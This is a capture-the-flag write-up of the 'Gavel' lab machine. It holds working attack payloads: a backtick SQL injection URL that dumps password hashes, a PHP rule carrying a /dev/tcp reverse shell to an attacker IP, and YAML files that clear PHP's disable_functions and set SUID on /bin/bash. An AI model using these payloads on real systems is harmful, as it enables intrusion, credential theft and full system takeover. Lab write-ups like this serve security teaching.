Gavel

Summary

Gavel is a medium Linux machine built around an online auction platform. The attack surface opens with an exposed .git directory that lets us pull the site’s PHP source. Inside the source we find a config.php that gives away the database name, and more importantly, a sort-parameter quirk in the inventory endpoint that turns out to be injectable via backtick identifier manipulation. Exploiting that injection leaks a bcrypt hash for the auctioneer account, which hashcat cracks quickly. After logging into the admin panel, we inject a PHP reverse shell into an auction bidding rule, triggering it with a crafted bid request to land a shell as www-data. From there we pivot to auctioneer with the cracked password, then abuse a custom /usr/local/bin/gavel-util binary - which evaluates arbitrary PHP from user-supplied YAML files - to set the SUID bit on /bin/bash and escalate to root.

Enumeration

Nmap

The initial scan turns up just two open TCP ports - SSH on 22 and HTTP on 80:

nmap -sCV -p- --min-rate 5000 10.129.42.253

Nmap scan report for 10.129.42.253
Host is up, received reset ttl 63 (0.041s latency).
Scanned at 2025-12-02 03:24:40 WET for 10s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)

The TTL of 63 and the OpenSSH version both point squarely at Ubuntu, and the HTTP title already tells us the site is doing virtual-host routing to gavel.htb. I add that to /etc/hosts before anything else.

Website

Browsing to http://gavel.htb/ reveals an online auction platform. The application feels custom - there is an inventory listing at inventory.php that accepts a user_id parameter and a sort parameter, an admin panel at admin.php, and a bidding handler at includes/bid_handler.php. Before digging into the functionality I want a look at the source, so I shift focus to directory discovery.

Exposed Git Repository

Checking for a .git directory at the web root returns a 200 rather than a 404, which means the development repository was deployed alongside the application. This is a common operational mistake and it lets us reconstruct the entire source tree with git-dumper:

git clone https://github.com/arthaud/git-dumper.git
cd git-dumper
python3 -m venv .venv && source .venv/bin/activate
mkdir ../.git
python3 git_dumper.py http://gavel.htb/.git ../.git

With the source in hand, the first file worth reading is includes/config.php:

<?php

define('DB_HOST', 'localhost');
define('DB_NAME', 'gavel');
define('DB_USER', 'gavel');
define('DB_PASS', 'gavel');

define('ROOT_PATH', dirname(__DIR__));

$basePath = rtrim(dirname($_SERVER['SCRIPT_NAME']), '/');
define('BASE_URL', $basePath);
define('ASSETS_URL', $basePath . '/assets');

The database credentials are weak and reused from the application name, but more interesting right now is what the rest of the source tells us about the query structure inside inventory.php. The endpoint accepts a user_id parameter that gets embedded in a SQL query, and a sort parameter that controls the ORDER BY clause - neither is properly sanitised.

SQL Injection

The injection here is a little unconventional, so it is worth breaking down. MySQL uses backticks to quote identifiers such as column or table names. The user_id value ends up inside backtick-quoted context within the query, which means closing a backtick, injecting a subquery, and opening a new backtick allows data exfiltration without needing a classic UNION SELECT. Alongside that, the sort parameter is manipulated with \? to break the prepared statement placeholder for the WHERE clause, and a null byte %00 helps terminate any trailing string processing. The full payload looks like this:

http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+group_concat(username,0x3a,password)+AS+`%27x`+FROM+users)y;--+-&sort=\?;--+-%00

The effective query that reaches MySQL is roughly:

SELECT ` FROM (SELECT group_concat(username,0x3a,password) AS `'x` FROM users)y;--
FROM inventory WHERE user_id = \?;--
ORDER BY item_name ASC

The comment (--) discards everything after the injection, the subquery pulls username-password pairs from the users table, and the result surfaces in the page response:

auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS

The hash is bcrypt ($2y$) which is computationally expensive to crack, but rockyou.txt covers a lot of ground. Running it through hashcat with mode 3200:

hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt --user

$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:[REDACTED]

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Time.Started.....: Tue Dec  2 04:50:33 2025 (26 secs)
Time.Estimated...: Tue Dec  2 04:50:59 2025 (0 secs)

26 seconds to crack a bcrypt hash is fast - this password landed very high in rockyou.txt.

Foothold

Admin Panel and PHP Rule Injection

With credentials in hand, logging into http://gavel.htb/admin.php as auctioneer reveals an admin interface that, among other things, lets administrators attach a custom PHP rule to each auction. The rule field is evaluated server-side when a bid is processed - which means we have arbitrary PHP execution as soon as we can submit a rule and trigger a bid.

The injection is delivered as a POST to admin.php with the rule parameter containing a URL-encoded PHP reverse shell payload:

POST /admin.php HTTP/1.1
Host: gavel.htb
Content-Type: application/x-www-form-urlencoded
Cookie: gavel_session=4vt4veva5ne9676t9a8lhjuftp

auction_id=164&rule=system%28%27bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.15.1%2F4444+0%3E%261%22%27%29%3B+return+true%3B&message=

Decoded, the rule value is:

system('bash -c "bash -i >& /dev/tcp/10.10.15.1/4444 0>&1"'); return true;

With a listener running on port 4444, the rule fires the moment a bid is submitted for auction 164. That bid is placed by sending a multipart POST to includes/bid_handler.php:

POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Type: multipart/form-data; boundary=----geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Cookie: gavel_session=4vt4veva5ne9676t9a8lhjuftp

------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Content-Disposition: form-data; name="auction_id"

164
------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65
Content-Disposition: form-data; name="bid_amount"

1200
------geckoformboundarye25ecad77dd64e6571a56b6a5628ae65--

The shell connects back immediately as www-data.

Lateral Movement to auctioneer

Checking /etc/passwd confirms there is a local user auctioneer with a real shell:

www-data@gavel:/var/www/html/gavel/rules$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIP>
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash

Since we cracked the auctioneer database password earlier and password reuse is common, trying it directly with su pays off:

www-data@gavel:/var/www/html/gavel/rules$ su auctioneer
Password:

auctioneer@gavel:/var/www/html/gavel/rules$

Privilege Escalation

gavel-util YAML Code Execution

Enumerating the system as auctioneer turns up a custom binary at /usr/local/bin/gavel-util. It accepts a submit subcommand followed by a YAML file path. The YAML format mirrors the auction module structure we saw in the web source: it expects fields like name, description, image, price, rule_msg, and crucially a rule field that contains PHP code. When gavel-util processes the submission, it evaluates whatever PHP sits in that rule field - and the binary runs with elevated privileges.

There is a catch, though. The PHP environment that gavel-util uses has open_basedir restrictions and a populated disable_functions list, which means system() and similar execution functions are blocked out of the box. The solution is to overwrite the PHP configuration file before trying to execute anything. A first YAML module writes a permissive php.ini to the expected configuration path:

cat > mod1.yaml << 'EOF'
name: ConfigMod
description: System tuning
image: "data:image/png;base64,R0lGOD=="
price: 8888
rule_msg: "Applied"
rule: |
  $c="engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n";
  file_put_contents('/opt/gavel/.config/php/php.ini',$c);
  return false;
EOF

/usr/local/bin/gavel-util submit mod1.yaml

With open_basedir set to / and disable_functions cleared, the PHP environment now permits unrestricted filesystem access and execution. A second YAML module drops the SUID bit onto /bin/bash:

cat > mod2.yaml << 'EOF'
name: ExecMod
description: Runtime patch
image: "data:image/png;base64,R0lGOD=="
price: 8888
rule_msg: "Executed"
rule: |
  @system("chmod u+s /bin/bash");
  return false;
EOF

/usr/local/bin/gavel-util submit mod2.yaml

With /bin/bash now SUID-root, invoking it with -p preserves the effective UID and drops us into a root shell:

/bin/bash -p
bash-5.1# id
uid=1001(auctioneer) gid=1002(auctioneer) euid=0(root) groups=1002(auctioneer)
bash-5.1# cat /root/root.txt
[REDACTED]